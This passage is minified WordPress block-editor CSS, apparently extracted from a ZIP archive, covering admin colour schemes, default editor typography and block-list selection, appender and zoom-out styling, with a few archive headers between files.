(min-width:782px){.block-editor-inserter__menu.is-zoom-out.show-panel:after{content:"";display:block;height:100%;width:300px}}@media (max-width:959px){.show-icon-labels .block-editor-block-patterns-explorer .block-editor-patterns__grid-pagination,.show-icon-labels .block-editor-block-patterns-explorer .block-editor-patterns__grid-pagination .block-editor-patterns__grid-pagination-next,.show-icon-labels .block-editor-block-patterns-explorer .block-editor-patterns__grid-pagination .block-editor-patterns__grid-pagination-previous{flex-direction:column}}.show-icon-labels .block-editor-inserter__category-panel .block-editor-patterns__grid-pagination,.show-icon-labels .block-editor-inserter__category-panel .block-editor-patterns__grid-pagination .block-editor-patterns__grid-pagination-next,.show-icon-labels .block-editor-inserter__category-panel .block-editor-patterns__grid-pagination .block-editor-patterns__grid-pagination-previous{flex-direction:column}.block-editor-tabbed-sidebar__tabpanel .block-editor-inserter__help-text{display:none;padding:0 24px 16px}@media (min-width:480px){.block-editor-tabbed-sidebar__tabpanel .block-editor-inserter__help-text{display:block}}.spacing-sizes-control .spacing-sizes-control__custom-value-input,.spacing-sizes-control .spacing-sizes-control__label{margin-bottom:0}.spacing-sizes-control .spacing-sizes-control__custom-value-range,.spacing-sizes-control .spacing-sizes-control__range-control{flex:1;margin-bottom:0}.spacing-sizes-control__header{height:16px;margin-bottom:12px}.spacing-sizes-control__dropdown{height:24px}.spacing-sizes-control__custom-select-control,.spacing-sizes-control__custom-value-input{flex:1}.spacing-sizes-control__custom-toggle,.spacing-sizes-control__icon{flex:0 0 auto}.spacing-sizes-control__icon{margin-right:-4px}body.admin-color-light{--wp-admin-theme-color:#0085ba;--wp-admin-theme-color--rgb:0,133,186;--wp-admin-theme-color-darker-10:#0073a1;--wp-admin-theme-color-darker-10--rgb:0,115,161;--wp-admin-theme-color-darker-20:#006187;--wp-admin-theme-color-darker-20--rgb:0,97,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-light{--wp-admin-border-width-focus:1.5px}}body.admin-color-modern{--wp-admin-theme-color:#3858e9;--wp-admin-theme-color--rgb:56,88,233;--wp-admin-theme-color-darker-10:#2145e6;--wp-admin-theme-color-darker-10--rgb:33,69,230;--wp-admin-theme-color-darker-20:#183ad6;--wp-admin-theme-color-darker-20--rgb:24,58,214;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-modern{--wp-admin-border-width-focus:1.5px}}body.admin-color-blue{--wp-admin-theme-color:#096484;--wp-admin-theme-color--rgb:9,100,132;--wp-admin-theme-color-darker-10:#07526c;--wp-admin-theme-color-darker-10--rgb:7,82,108;--wp-admin-theme-color-darker-20:#064054;--wp-admin-theme-color-darker-20--rgb:6,64,84;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-blue{--wp-admin-border-width-focus:1.5px}}body.admin-color-coffee{--wp-admin-theme-color:#46403c;--wp-admin-theme-color--rgb:70,64,60;--wp-admin-theme-color-darker-10:#383330;--wp-admin-theme-color-darker-10--rgb:56,51,48;--wp-admin-theme-color-darker-20:#2b2724;--wp-admin-theme-color-darker-20--rgb:43,39,36;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-coffee{--wp-admin-border-width-focus:1.5px}}body.admin-color-ectoplasm{--wp-admin-theme-color:#523f6d;--wp-admin-theme-color--rgb:82,63,109;--wp-admin-theme-color-darker-10:#46365d;--wp-admin-theme-color-darker-10--rgb:70,54,93;--wp-admin-theme-color-darker-20:#3a2c4d;--wp-admin-theme-color-darker-20--rgb:58,44,77;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-ectoplasm{--wp-admin-border-width-focus:1.5px}}body.admin-color-midnight{--wp-admin-theme-color:#e14d43;--wp-admin-theme-color--rgb:225,77,67;--wp-admin-theme-color-darker-10:#dd382d;--wp-admin-theme-color-darker-10--rgb:221,56,45;--wp-admin-theme-color-darker-20:#d02c21;--wp-admin-theme-color-darker-20--rgb:208,44,33;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-midnight{--wp-admin-border-width-focus:1.5px}}body.admin-color-ocean{--wp-admin-theme-color:#627c83;--wp-admin-theme-color--rgb:98,124,131;--wp-admin-theme-color-darker-10:#576e74;--wp-admin-theme-color-darker-10--rgb:87,110,116;--wp-admin-theme-color-darker-20:#4c6066;--wp-admin-theme-color-darker-20--rgb:76,96,102;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-ocean{--wp-admin-border-width-focus:1.5px}}body.admin-color-sunrise{--wp-admin-theme-color:#dd823b;--wp-admin-theme-color--rgb:221,130,59;--wp-admin-theme-color-darker-10:#d97426;--wp-admin-theme-color-darker-10--rgb:217,116,38;--wp-admin-theme-color-darker-20:#c36922;--wp-admin-theme-color-darker-20--rgb:195,105,34;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-sunrise{--wp-admin-border-width-focus:1.5px}}PK1Xd[hg;3dist/block-editor/default-editor-styles-rtl.min.cssnu�[���:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color)}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}body{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:18px;line-height:1.5;--wp--style--block-gap:2em}p{line-height:1.8}.editor-post-title__block{font-size:2.5em;font-weight:800;margin-bottom:1em;margin-top:2em}PK1Xd[]q�*r*r!dist/block-editor/content.min.cssnu�[���:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color)}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.block-editor-block-icon{align-items:center;display:flex;height:24px;justify-content:center;width:24px}.block-editor-block-icon.has-colors svg{fill:currentColor}@media (forced-colors:active){.block-editor-block-icon.has-colors svg{fill:CanvasText}}.block-editor-block-icon svg{max-height:24px;max-width:24px;min-height:20px;min-width:20px}.block-editor-block-styles .block-editor-block-list__block{margin:0}@keyframes selection-overlay__fade-in-animation{0%{opacity:0}to{opacity:.4}}:root .block-editor-block-list__layout::selection,:root [data-has-multi-selection=true] .block-editor-block-list__layout::selection,_::-webkit-full-page-media,_:future{background-color:initial}.block-editor-block-list__layout{position:relative}.block-editor-block-list__layout .block-editor-block-list__block.is-multi-selected:not(.is-partially-selected) ::selection,.block-editor-block-list__layout .block-editor-block-list__block.is-multi-selected:not(.is-partially-selected)::selection{background:#0000}.block-editor-block-list__layout .block-editor-block-list__block.is-multi-selected:not(.is-partially-selected):after{background:var(--wp-admin-theme-color);bottom:0;content:"";left:0;opacity:.4;outline:2px solid #0000;pointer-events:none;position:absolute;right:0;top:0;z-index:1}@media not (prefers-reduced-motion){.block-editor-block-list__layout .block-editor-block-list__block.is-multi-selected:not(.is-partially-selected):after{animation:selection-overlay__fade-in-animation .1s ease-out;animation-fill-mode:forwards}}.block-editor-block-list__layout .block-editor-block-list__block.is-multi-selected:not(.is-partially-selected).is-highlighted:after{outline-color:#0000}.block-editor-block-list__layout .block-editor-block-list__block.is-highlighted,.block-editor-block-list__layout .block-editor-block-list__block.is-highlighted~.is-multi-selected,.block-editor-block-list__layout .block-editor-block-list__block:not([contenteditable=true]):focus{outline:none}.block-editor-block-list__layout .block-editor-block-list__block.is-highlighted:after,.block-editor-block-list__layout .block-editor-block-list__block.is-highlighted~.is-multi-selected:after,.block-editor-block-list__layout .block-editor-block-list__block:not([contenteditable=true]):focus:after{bottom:0;content:"";left:0;outline-color:var(--wp-admin-theme-color);outline-offset:calc(((-1*var(--wp-admin-border-width-focus))/var(--wp-block-editor-iframe-zoom-out-scale, 1))*1);outline-style:solid;outline-width:calc((var(--wp-admin-border-width-focus)/var(--wp-block-editor-iframe-zoom-out-scale, 1))*1);pointer-events:none;position:absolute;right:0;top:0;z-index:1}.block-editor-block-list__layout [class^=components-]{-webkit-user-select:text;user-select:text}.block-editor-block-list__layout .block-editor-block-list__block{overflow-wrap:break-word;pointer-events:auto;position:relative}.block-editor-block-list__layout .block-editor-block-list__block.is-editing-disabled{pointer-events:none}.block-editor-block-list__layout .block-editor-block-list__block.has-negative-margin.has-child-selected,.block-editor-block-list__layout .block-editor-block-list__block.has-negative-margin.is-selected{z-index:20}.block-editor-block-list__layout .block-editor-block-list__block .reusable-block-edit-panel *{z-index:1}.block-editor-block-list__layout .block-editor-block-list__block .components-placeholder .components-with-notices-ui{margin:-10px 0 12px}.block-editor-block-list__layout .block-editor-block-list__block .components-with-notices-ui{margin:0 0 12px;width:100%}.block-editor-block-list__layout .block-editor-block-list__block .components-with-notices-ui .components-notice .components-notice__content{font-size:13px}.block-editor-block-list__layout .block-editor-block-list__block.has-warning{min-height:48px}.block-editor-block-list__layout .block-editor-block-list__block.has-warning>*{pointer-events:none;-webkit-user-select:none;user-select:none}.block-editor-block-list__layout .block-editor-block-list__block.has-warning .block-editor-warning{pointer-events:all}.block-editor-block-list__layout .block-editor-block-list__block.has-warning:after{background-color:#fff6;bottom:0;content:"";left:0;position:absolute;right:0;top:0}.block-editor-block-list__layout .block-editor-block-list__block.has-warning.is-multi-selected:after{background-color:initial}.block-editor-block-list__layout .block-editor-block-list__block.is-reusable.has-child-selected:after{box-shadow:0 0 0 1px var(--wp-admin-theme-color)}.block-editor-block-list__layout .block-editor-block-list__block[data-clear=true]{float:none}.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-hovered,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-selected{cursor:default}.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-hovered .rich-text,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-hovered.rich-text,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-selected .rich-text,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-selected.rich-text{cursor:auto}.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-hovered:not(.is-selected):after,.is-outline-mode .block-editor-block-list__block:not(.remove-outline):not(.rich-text):not([contenteditable=true]).is-selected:after{bottom:0;content:"";left:0;outline-color:var(--wp-admin-theme-color);outline-offset:calc(((-1*var(--wp-admin-border-width-focus))/var(--wp-block-editor-iframe-zoom-out-scale, 1))*1);outline-style:solid;outline-width:calc((var(--wp-admin-border-width-focus)/var(--wp-block-editor-iframe-zoom-out-scale, 1))*1);pointer-events:none;position:absolute;right:0;top:0}.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-reusable.block-editor-block-list__block:not([contenteditable]):focus:after,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-reusable.is-highlighted:after,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-reusable.is-hovered:after,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-reusable.is-selected:after,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.block-editor-block-list__block:not([contenteditable]):focus:after,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.is-highlighted:after,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.is-hovered:after,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.is-selected:after{outline-color:var(--wp-block-synced-color)}@keyframes block-editor-is-editable__animation{0%{background-color:rgba(var(--wp-admin-theme-color--rgb),.1)}to{background-color:rgba(var(--wp-admin-theme-color--rgb),0)}}@keyframes block-editor-is-editable__animation_reduce-motion{0%{background-color:rgba(var(--wp-admin-theme-color--rgb),.1)}99%{background-color:rgba(var(--wp-admin-theme-color--rgb),.1)}to{background-color:rgba(var(--wp-admin-theme-color--rgb),0)}}.is-root-container:not([inert]) .block-editor-block-list__block.is-selected .block-editor-block-list__block.has-editable-outline:after{animation-delay:.1s;animation-duration:.8s;animation-fill-mode:backwards;animation-name:block-editor-is-editable__animation;animation-timing-function:ease-out;bottom:0;content:"";left:0;pointer-events:none;position:absolute;right:0;top:0}@media (prefers-reduced-motion:reduce){.is-root-container:not([inert]) .block-editor-block-list__block.is-selected .block-editor-block-list__block.has-editable-outline:after{animation-delay:0s;animation-name:block-editor-is-editable__animation_reduce-motion}}.is-focus-mode .block-editor-block-list__block:not(.has-child-selected){opacity:.2}@media not (prefers-reduced-motion){.is-focus-mode .block-editor-block-list__block:not(.has-child-selected){transition:opacity .1s linear}}.is-focus-mode .block-editor-block-list__block.is-content-locked-temporarily-editing-as-blocks.has-child-selected,.is-focus-mode .block-editor-block-list__block.is-content-locked-temporarily-editing-as-blocks.has-child-selected .block-editor-block-list__block,.is-focus-mode .block-editor-block-list__block.is-content-locked.has-child-selected,.is-focus-mode .block-editor-block-list__block.is-content-locked.has-child-selected .block-editor-block-list__block,.is-focus-mode .block-editor-block-list__block:not(.has-child-selected) .block-editor-block-list__block,.is-focus-mode .block-editor-block-list__block:not(.has-child-selected).is-multi-selected,.is-focus-mode .block-editor-block-list__block:not(.has-child-selected).is-selected{opacity:1}.wp-block.alignleft,.wp-block.alignright,.wp-block[data-align=left]>*,.wp-block[data-align=right]>*{z-index:21}.wp-site-blocks>[data-align=left]{float:left;margin-right:2em}.wp-site-blocks>[data-align=right]{float:right;margin-left:2em}.wp-site-blocks>[data-align=center]{justify-content:center;margin-left:auto;margin-right:auto}.block-editor-block-list .block-editor-inserter{cursor:move;cursor:grab;margin:8px}@keyframes block-editor-inserter__toggle__fade-in-animation{0%{opacity:0}to{opacity:1}}@media not (prefers-reduced-motion){.wp-block .block-list-appender .block-editor-inserter__toggle{animation:block-editor-inserter__toggle__fade-in-animation .1s ease;animation-fill-mode:forwards}}.block-editor-block-list__block:not(.is-selected):not(.has-child-selected) .block-editor-default-block-appender{display:none}.block-editor-block-list__block:not(.is-selected):not(.has-child-selected) .block-editor-default-block-appender .block-editor-inserter__toggle{opacity:0;transform:scale(0)}.block-editor-block-list__block .block-editor-block-list__block-html-textarea{border:none;border-radius:2px;box-shadow:inset 0 0 0 1px #1e1e1e;display:block;font-family:Menlo,Consolas,monaco,monospace;font-size:15px;line-height:1.5;margin:0;outline:none;overflow:hidden;padding:12px;resize:none;width:100%}@media not (prefers-reduced-motion){.block-editor-block-list__block .block-editor-block-list__block-html-textarea{transition:padding .2s linear}}.block-editor-block-list__block .block-editor-block-list__block-html-textarea:focus{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.block-editor-block-list__block .block-editor-warning{position:relative;z-index:5}.block-editor-block-list__block .block-editor-warning.block-editor-block-list__block-crash-warning{margin-bottom:auto}.block-editor-block-list__zoom-out-separator{align-items:center;background:#ddd;color:#000;display:flex;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;font-weight:400;justify-content:center;margin-left:-1px;margin-right:-1px;overflow:hidden}@media not (prefers-reduced-motion){.block-editor-block-list__zoom-out-separator{transition:background-color .3s ease}}.is-zoomed-out .block-editor-block-list__zoom-out-separator{font-size:calc(13px/var(--wp-block-editor-iframe-zoom-out-scale))}.block-editor-block-list__zoom-out-separator.is-dragged-over{background:#ccc}.block-editor-block-list__layout.is-root-container.has-global-padding>.block-editor-block-list__zoom-out-separator,.has-global-padding>.block-editor-block-list__zoom-out-separator{margin:0 calc(var(--wp--style--root--padding-right)*-1 - 1px) 0 calc(var(--wp--style--root--padding-left)*-1 - 1px)!important;max-width:none}.is-dragging{cursor:grabbing}.is-vertical .block-list-appender{margin-left:12px;margin-right:auto;margin-top:12px;width:24px}.block-list-appender>.block-editor-inserter{display:block}.block-editor-block-list__block:not(.is-selected):not(.has-child-selected):not(.block-editor-block-list__layout) .block-editor-block-list__layout>.block-list-appender .block-list-appender__toggle{opacity:0;transform:scale(0)}.block-editor-block-list__block.has-block-overlay{cursor:default}.block-editor-block-list__block.has-block-overlay .block-editor-block-list__block{pointer-events:none}.block-editor-block-list__block.has-block-overlay .block-editor-block-list__block.has-block-overlay:before{left:0;right:0;width:auto}.block-editor-block-list__layout .is-dragging{border-radius:2px!important;opacity:.1!important}.block-editor-block-list__layout .is-dragging iframe{pointer-events:none}.block-editor-block-list__layout .is-dragging::selection{background:#0000!important}.block-editor-block-list__layout .is-dragging:after{content:none!important}.wp-block img:not([draggable]),.wp-block svg:not([draggable]){pointer-events:none}.block-editor-block-preview__content-iframe .block-list-appender{display:none}.block-editor-block-preview__live-content *{pointer-events:none}.block-editor-block-preview__live-content .block-list-appender{display:none}.block-editor-block-preview__live-content .components-button:disabled{opacity:1}.block-editor-block-preview__live-content .block-editor-block-list__block[data-empty=true],.block-editor-block-preview__live-content .components-placeholder{display:none}.block-editor-block-variation-picker__skip,.block-editor-block-variation-picker__variations,.wp-block-group-placeholder__variations{display:flex;flex-direction:row;flex-wrap:wrap;font-size:12px;gap:8px;justify-content:flex-start;list-style:none;margin:0;padding:0;width:100%}.block-editor-block-variation-picker__skip svg,.block-editor-block-variation-picker__variations svg,.wp-block-group-placeholder__variations svg{fill:#949494!important}.block-editor-block-variation-picker__skip .components-button,.block-editor-block-variation-picker__variations .components-button,.wp-block-group-placeholder__variations .components-button{padding:4px}.block-editor-block-variation-picker__skip .components-button:hover,.block-editor-block-variation-picker__variations .components-button:hover,.wp-block-group-placeholder__variations .components-button:hover{background:none!important}.block-editor-block-variation-picker__skip .components-button:hover svg,.block-editor-block-variation-picker__variations .components-button:hover svg,.wp-block-group-placeholder__variations .components-button:hover svg{fill:var(--wp-admin-theme-color)!important}.block-editor-block-variation-picker__skip>li,.block-editor-block-variation-picker__variations>li,.wp-block-group-placeholder__variations>li{align-items:center;display:flex;flex-direction:column;gap:4px;width:auto}.block-editor-button-block-appender{align-items:center;box-shadow:inset 0 0 0 1px #1e1e1e;color:#1e1e1e;display:flex;flex-direction:column;height:auto;justify-content:center;width:100%}.is-dark-theme .block-editor-button-block-appender{box-shadow:inset 0 0 0 1px #ffffffa6;color:#ffffffa6}.block-editor-button-block-appender:hover{box-shadow:inset 0 0 0 1px var(--wp-admin-theme-color);color:var(--wp-admin-theme-color)}.block-editor-button-block-appender:focus{box-shadow:inset 0 0 0 2px var(--wp-admin-theme-color)}.block-editor-button-block-appender:active{color:#000}.block-editor-block-list__block:not(.is-selected)>.is-layout-constrained.wp-block-group__inner-container>.block-list-appender:only-child,.block-editor-block-list__block:not(.is-selected)>.is-layout-flow.wp-block-group__inner-container>.block-list-appender:only-child,.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child{pointer-events:none}.block-editor-block-list__block:not(.is-selected)>.is-layout-constrained.wp-block-group__inner-container>.block-list-appender:only-child:after,.block-editor-block-list__block:not(.is-selected)>.is-layout-flow.wp-block-group__inner-container>.block-list-appender:only-child:after,.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child:after,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child:after{border:1px dashed;bottom:0;content:"";left:0;pointer-events:none;position:absolute;right:0;top:0}.block-editor-block-list__block:not(.is-selected)>.is-layout-constrained.wp-block-group__inner-container>.block-list-appender:only-child .block-editor-inserter,.block-editor-block-list__block:not(.is-selected)>.is-layout-flow.wp-block-group__inner-container>.block-list-appender:only-child .block-editor-inserter,.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child .block-editor-inserter,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child .block-editor-inserter{opacity:0}.block-editor-block-list__block:not(.is-selected)>.is-layout-constrained.wp-block-group__inner-container>.block-list-appender:only-child .block-editor-inserter:focus-within,.block-editor-block-list__block:not(.is-selected)>.is-layout-flow.wp-block-group__inner-container>.block-list-appender:only-child .block-editor-inserter:focus-within,.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child .block-editor-inserter:focus-within,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child .block-editor-inserter:focus-within{opacity:1}.block-editor-block-list__block:not(.is-selected)>.is-layout-constrained.wp-block-group__inner-container>.block-list-appender:only-child.is-drag-over:after,.block-editor-block-list__block:not(.is-selected)>.is-layout-flow.wp-block-group__inner-container>.block-list-appender:only-child.is-drag-over:after,.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child.is-drag-over:after,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child.is-drag-over:after{border:none}.block-editor-block-list__block:not(.is-selected)>.is-layout-constrained.wp-block-group__inner-container>.block-list-appender:only-child.is-drag-over .block-editor-inserter,.block-editor-block-list__block:not(.is-selected)>.is-layout-flow.wp-block-group__inner-container>.block-list-appender:only-child.is-drag-over .block-editor-inserter,.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child.is-drag-over .block-editor-inserter,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child.is-drag-over .block-editor-inserter{visibility:visible}.block-editor-block-list__block:not(.is-selected)>.block-editor-block-list__block>.block-list-appender:only-child:after{border:none}.block-list-appender:only-child.is-drag-over .block-editor-button-block-appender{background-color:var(--wp-admin-theme-color);box-shadow:inset 0 0 0 1px #ffffffa6;color:#ffffffa6}@media not (prefers-reduced-motion){.block-list-appender:only-child.is-drag-over .block-editor-button-block-appender{transition:background-color .2s ease-in-out}}.block-editor-default-block-appender{clear:both;margin-left:auto;margin-right:auto;position:relative}.block-editor-default-block-appender[data-root-client-id=""] .block-editor-default-block-appender__content:hover{outline:1px solid #0000}.block-editor-default-block-appender .block-editor-default-block-appender__content{margin-block-end:0;margin-block-start:0;opacity:.62}.block-editor-default-block-appender .components-drop-zone__content-icon{display:none}.block-editor-default-block-appender .block-editor-inserter__toggle.components-button.has-icon{background:#1e1e1e;color:#fff;height:24px;min-width:24px;padding:0}.block-editor-default-block-appender .block-editor-inserter__toggle.components-button.has-icon:hover{background:var(--wp-admin-theme-color);color:#fff}.block-editor-default-block-appender .block-editor-inserter{line-height:0;position:absolute;right:0;top:0}.block-editor-default-block-appender .block-editor-inserter:disabled{display:none}.block-editor-block-list__block .block-list-appender{bottom:0;list-style:none;padding:0;position:absolute;right:0;z-index:2}.block-editor-block-list__block .block-list-appender.block-list-appender{line-height:0;margin:0}.block-editor-block-list__block .block-list-appender .block-editor-inserter:disabled{display:none}.block-editor-block-list__block .block-list-appender .block-editor-default-block-appender{height:24px}.block-editor-block-list__block .block-list-appender .block-editor-inserter__toggle.components-button.has-icon,.block-editor-block-list__block .block-list-appender .block-list-appender__toggle{background:#1e1e1e;box-shadow:none;color:#fff;display:none;flex-direction:row;height:24px;min-width:24px;padding:0!important;width:24px}.block-editor-block-list__block .block-list-appender .block-editor-inserter__toggle.components-button.has-icon:hover,.block-editor-block-list__block .block-list-appender .block-list-appender__toggle:hover{background:var(--wp-admin-theme-color);color:#fff}.block-editor-block-list__block .block-list-appender .block-editor-default-block-appender__content{display:none}.block-editor-block-list__block .block-list-appender:only-child{align-self:center;line-height:inherit;list-style:none;position:relative;right:auto}.block-editor-block-list__block .block-list-appender:only-child .block-editor-default-block-appender__content{display:block}.block-editor-block-list__block.is-selected .block-editor-block-list__layout>.block-list-appender .block-editor-inserter__toggle.components-button.has-icon,.block-editor-block-list__block.is-selected .block-editor-block-list__layout>.block-list-appender .block-list-appender__toggle,.block-editor-block-list__block.is-selected>.block-list-appender .block-editor-inserter__toggle.components-button.has-icon,.block-editor-block-list__block.is-selected>.block-list-appender .block-list-appender__toggle{display:flex}.block-editor-default-block-appender__content{cursor:text}.block-editor-iframe__body{position:relative}.block-editor-iframe__html{transform-origin:top center}@media not (prefers-reduced-motion){.block-editor-iframe__html{transition:background-color .4s}}.block-editor-iframe__html.zoom-out-animation{bottom:0;left:0;overflow-y:var(--wp-block-editor-iframe-zoom-out-overflow-behavior,scroll);position:fixed;right:0;top:calc(var(--wp-block-editor-iframe-zoom-out-scroll-top, 0)*-1)}.block-editor-iframe__html.is-zoomed-out{background-color:#ddd;margin-bottom:calc(var(--wp-block-editor-iframe-zoom-out-content-height)*(1 - var(--wp-block-editor-iframe-zoom-out-scale, 1))*-1 + var(--wp-block-editor-iframe-zoom-out-frame-size, 0)*2/var(--wp-block-editor-iframe-zoom-out-scale, 1)*-1 + -2px);padding-bottom:calc(var(--wp-block-editor-iframe-zoom-out-frame-size, 0)/var(--wp-block-editor-iframe-zoom-out-scale, 1));padding-top:calc(var(--wp-block-editor-iframe-zoom-out-frame-size, 0)/var(--wp-block-editor-iframe-zoom-out-scale, 1));scale:var(--wp-block-editor-iframe-zoom-out-scale,1);transform:translateX(calc((var(--wp-block-editor-iframe-zoom-out-scale-container-width) - var(--wp-block-editor-iframe-zoom-out-container-width, 100vw))/2/var(--wp-block-editor-iframe-zoom-out-scale, 1)))}.block-editor-iframe__html.is-zoomed-out body{min-height:calc((var(--wp-block-editor-iframe-zoom-out-inner-height) - 2*var(--wp-block-editor-iframe-zoom-out-frame-size, 0)/var(--wp-block-editor-iframe-zoom-out-scale, 1))/var(--wp-block-editor-iframe-zoom-out-scale, 1))}.block-editor-iframe__html.is-zoomed-out body>.is-root-container:not(.wp-block-post-content){display:flex;flex:1;flex-direction:column;height:100%}.block-editor-iframe__html.is-zoomed-out body>.is-root-container:not(.wp-block-post-content)>main{flex:1}.block-editor-iframe__html.is-zoomed-out .wp-block[draggable]{cursor:grab}.block-editor-media-placeholder__cancel-button.is-link{display:block;margin:1em}.block-editor-media-placeholder.is-appender{min-height:0}.block-editor-media-placeholder.is-appender:hover{box-shadow:0 0 0 1px var(--wp-admin-theme-color);cursor:pointer}.block-editor-plain-text{border:none;box-shadow:none;color:inherit;font-family:inherit;font-size:inherit;line-height:inherit;margin:0;padding:0;width:100%}.rich-text [data-rich-text-placeholder]{pointer-events:none}.rich-text [data-rich-text-placeholder]:after{content:attr(data-rich-text-placeholder);opacity:.62}.rich-text:focus{outline:none}figcaption.block-editor-rich-text__editable [data-rich-text-placeholder]:before{opacity:.8}[data-rich-text-script]{display:inline}[data-rich-text-script]:before{background:#ff0;content:"</>"}[data-rich-text-comment],[data-rich-text-format-boundary]{border-radius:2px}[data-rich-text-comment]{background-color:currentColor}[data-rich-text-comment] span{color:currentColor;filter:invert(100%);padding:0 2px}.block-editor-warning{align-items:center;background-color:#fff;border:1px solid #1e1e1e;border-radius:2px;display:flex;flex-wrap:wrap;padding:1em}.block-editor-warning,.block-editor-warning .block-editor-warning__message{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif}.block-editor-warning .block-editor-warning__message{color:#1e1e1e;font-size:13px;line-height:1.4;margin:0}.block-editor-warning p.block-editor-warning__message.block-editor-warning__message{min-height:auto}.block-editor-warning .block-editor-warning__contents{align-items:baseline;display:flex;flex-direction:row;flex-wrap:wrap;gap:12px;justify-content:space-between;width:100%}.block-editor-warning .block-editor-warning__actions{align-items:center;display:flex;gap:8px}.components-popover.block-editor-warning__dropdown{z-index:99998}body.admin-color-light{--wp-admin-theme-color:#0085ba;--wp-admin-theme-color--rgb:0,133,186;--wp-admin-theme-color-darker-10:#0073a1;--wp-admin-theme-color-darker-10--rgb:0,115,161;--wp-admin-theme-color-darker-20:#006187;--wp-admin-theme-color-darker-20--rgb:0,97,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-light{--wp-admin-border-width-focus:1.5px}}body.admin-color-modern{--wp-admin-theme-color:#3858e9;--wp-admin-theme-color--rgb:56,88,233;--wp-admin-theme-color-darker-10:#2145e6;--wp-admin-theme-color-darker-10--rgb:33,69,230;--wp-admin-theme-color-darker-20:#183ad6;--wp-admin-theme-color-darker-20--rgb:24,58,214;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-modern{--wp-admin-border-width-focus:1.5px}}body.admin-color-blue{--wp-admin-theme-color:#096484;--wp-admin-theme-color--rgb:9,100,132;--wp-admin-theme-color-darker-10:#07526c;--wp-admin-theme-color-darker-10--rgb:7,82,108;--wp-admin-theme-color-darker-20:#064054;--wp-admin-theme-color-darker-20--rgb:6,64,84;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-blue{--wp-admin-border-width-focus:1.5px}}body.admin-color-coffee{--wp-admin-theme-color:#46403c;--wp-admin-theme-color--rgb:70,64,60;--wp-admin-theme-color-darker-10:#383330;--wp-admin-theme-color-darker-10--rgb:56,51,48;--wp-admin-theme-color-darker-20:#2b2724;--wp-admin-theme-color-darker-20--rgb:43,39,36;--wp-admin-border-width-focus:2px}@media 